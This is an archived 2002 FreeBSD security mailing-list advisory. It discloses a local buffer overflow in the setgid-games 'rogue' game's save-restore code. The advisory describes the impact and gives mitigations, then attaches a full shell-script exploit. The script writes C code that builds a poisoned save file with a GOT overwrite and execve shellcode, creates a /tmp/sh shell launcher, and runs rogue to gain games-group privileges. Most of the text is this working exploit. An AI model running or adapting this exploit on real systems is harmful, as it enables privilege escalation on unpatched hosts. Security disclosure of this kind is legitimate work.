From owner-freebsd-security Sat Sep 28 11:57:30 2002 Delivered-To: freebsd-security@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6AB4137B401 for ; Sat, 28 Sep 2002 11:57:24 -0700 (PDT) Received: from ai.iserver.sk (ai.iserver.sk [195.91.32.249]) by mx1.FreeBSD.org (Postfix) with SMTP id CA79643E81 for ; Sat, 28 Sep 2002 11:57:22 -0700 (PDT) (envelope-from stanojr@ai.iserver.sk) Received: (qmail 1071 invoked by uid 500); 28 Sep 2002 18:57:18 -0000 Date: Sat, 28 Sep 2002 20:57:18 +0200 From: psj To: freebsd-security@freebsd.org Cc: bugtraq@securityfocus.com Subject: local exploitable overflow in rogue/FreeBSD Message-ID: <20020928205718.C29783@iserver.sk> Mail-Followup-To: freebsd-security@freebsd.org, bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="5vNYLRcllDrimb99" Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --5vNYLRcllDrimb99 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline VULNERABLE APPLICATION: rogue in FreeBSD (tested on 4.6-RELEASE) ABOUT APPLICATION: rogue is a fantasy game which is indirectly setgid games IMPACT: low/medium EXPLOITATION: we can be egid=games, with this we can: 1. edit score files in /var/games 2. /var/games use as a storage directory (typicaly when we are limited by quota) SOLUTION: 1. disabling rogue game via /etc/dm.conf (mad rogueists KILL YOU) 2. fix in the source code ABOUT BUG: At first about dm (from man page): Dm is a program used to regulate game playing. Dm expects to be invoked with the name of a game that a user wishes to play. This is done by cre- ating symbolic links to dm, in the directory /usr/games for all of the regulated games. The actual binaries for these games should be placed in a ``hidden'' directory, /usr/games/hide, that may only be accessed by the dm program. Dm determines if the requested game is available and, if so, runs it. The file /etc/dm.conf controls the conditions under which games may be run. /usr/games/dm is of course setgid games Other games which don`t needed games euid revoke privileges after start. Games which needed games euid after start open the score file and revoke privileges. Rogue don`t revoke privileges after start, it run egid games. Vulnerability is in restoring saved game. There is a function read_string in restore function in save.c file which don`t check the size of variable. We can rewrite an address in GOT (as in my attached exploit). ATTACHMENTS: instant-rogue-exp.sh - instant exploit to get egid=games AUTHOR: stanojr@iserver.sk ps: sorry, i know, my english is very bad :] --5vNYLRcllDrimb99 Content-Type: application/x-sh Content-Disposition: attachment; filename="instant-rogue-exp.sh" #!/bin/sh echo "ROGUE EXPLOIT FOR FreeBSD/i386 (4.6-RELEASE) AUTHOR: stanojr@iserver.sk" echo "WARNING:" echo "This exploit create 4 files: /tmp/sh, ./rogue-exp.c, ./rogue-exp, ./rogue.hsave\n" echo "Creating rogue-exp.c which create a vulnerable save file" cat >rogue-exp.c <<_EOF_ #include #include /* * shellcode exec /tmp/sh because of horrible terminal which * mess ncurses and we must fix it */ char shellcode[] = "\x31\xc0\x50\x89\xe2\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d" "\x89\xe3\x50\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80"; long xxx(); int main(ac,av) int ac; char *av[]; { char hunger_str[13475+strlen(shellcode)]; char tmp[4]; unsigned long addr=0x08060b38; // address after strcpy in GOT FILE *fp; if (ac!=2) usage(av[0]); memset(tmp,'A',sizeof(tmp)); // only temporary variable memset(hunger_str,'A',sizeof(hunger_str)); // our vulnerable variable memcpy(hunger_str+13470,&addr,sizeof(addr)); memcpy(hunger_str+13474,shellcode,sizeof(shellcode)); // we put shellcode after addr hunger_str[sizeof(hunger_str)]=0; //we must close string if ((fp=fopen(av[1],"w"))==NULL){ perror("fopen"); } (void) xxx(1); r_write(fp, tmp, sizeof(char)); //detect_monster (see save.c) r_write(fp, tmp, sizeof(short)); //cur_level (see save.c) r_write(fp, tmp, sizeof(short)); //max_level (see save.c) write_string(hunger_str, fp); //our vulnerable variable fclose(fp); return 0; } usage(p) char *p; { printf("usage: %s save\nsave - vulnerable save file\n",p); exit(0); } // xxx,xxxx,r_write,write_string stolen from rogue and little changed r_write(fp, buf, n) FILE *fp; const char *buf; int n; { if (fwrite(buf, sizeof(char), n, fp) != n) { perror("fwrite"); } } write_string(s, fp) char *s; FILE *fp; { short n; n = strlen(s) + 1; xxxx(s, n); r_write(fp, (char *) &n, sizeof(short)); r_write(fp, s, n); } xxxx(buf, n) char *buf; short n; { short i; unsigned char c; for (i = 0; i < n; i++) { /* It does not matter if accuracy is lost during this assignment */ c = (unsigned char) xxx(0); buf[i] ^= c; } } long xxx(st) char st; { static long f, s; long r; if (st) { f = 37; s = 7; return(0L); } r = ((f * s) + 9337) % 8887; f = s; s = r; return(r); } _EOF_ echo "Creating /tmp/sh with stty command to fix terminal and then exec /bin/sh command" cat >/tmp/sh <<_EOF_ #!/bin/sh stty icanon echo icrnl onlcr oxtabs echo "!!! BOOOM !!!" id exec /bin/sh _EOF_ echo "cmd: chmod 755 /tmp/sh" chmod 755 /tmp/sh echo "cmd: make rogue-exp" make rogue-exp echo "Creating vulnerable save file" echo "cmd: ./rogue-exp rogue.hsave" ./rogue-exp rogue.hsave echo "Execing rogue with vuln save file" echo "cmd: rogue rogue.hsave" rogue rogue.hsave --5vNYLRcllDrimb99-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message